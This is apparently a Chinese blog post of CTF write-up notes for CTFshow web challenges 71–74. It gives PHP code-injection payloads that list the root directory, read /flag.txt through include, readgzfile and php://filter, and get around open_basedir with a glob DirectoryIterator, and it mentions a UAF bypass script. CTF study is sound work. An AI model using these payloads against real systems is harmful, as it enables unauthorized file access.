查看根目录
基本方法:
var_dump print_r
var_export(上面两被过滤)
var_dump(scandir("/");
c=?><?php $a=new DirectoryIterator("glob:///*"); foreach($a as $f) {echo($f->__toString().' ');} exit(0); ?>
后加exit();
查看文件内容
include("/flag.txt");exit();
readgzfile("/flag.txt");exit();
include "php://filter/read=convert.base64-encode/resource=/flag.txt";exit();
uaf脚本(open_basedir启用 限制用户访问其他文件)
web71
$c= $_POST['c']; eval($c); $s = ob_get_contents(); ob_end_clean(); echo preg_replace("/[0-9]|[a-z]/i","?",$s); ob_get_contents()得到输出缓冲区的内容 Ob_end_clean()清理缓冲区 c=var_export(scandir("/"));exit(); 让后边的缓存区直接退出 ;exit(); c=include('/flag.txt');exit(); web72 scandir不能访问根目录 本题设置了 open_basedir(),将php所能打开的文件限制在指定的目录树中,包括文件本身。因为 ini_set() 也被限制了,所以 open_basedir() 不能用 ini_set() 重新设置绕过。
payload:c=?><?php $a=new DirectoryIterator("glob:///*"); foreach($a as $f) { echo($f->__toString().' '); } exit(0); ?> 查看根目录 glob
之后发现include被禁用 查看不了flag0.txt
open_basedir是php.ini中的一个配置选项,它可将用户访问文件的活动范围限制在指定的区域
这里可以发现打开了open_basedir
这里可以使用uaf脚本 绕过
web73 74
c=readgzfile("/flagx.txt");exit();
标签:include,web71,basedir,exit,CTFshow,var,txt,open
From: https://www.cnblogs.com/heck1ng/p/18057573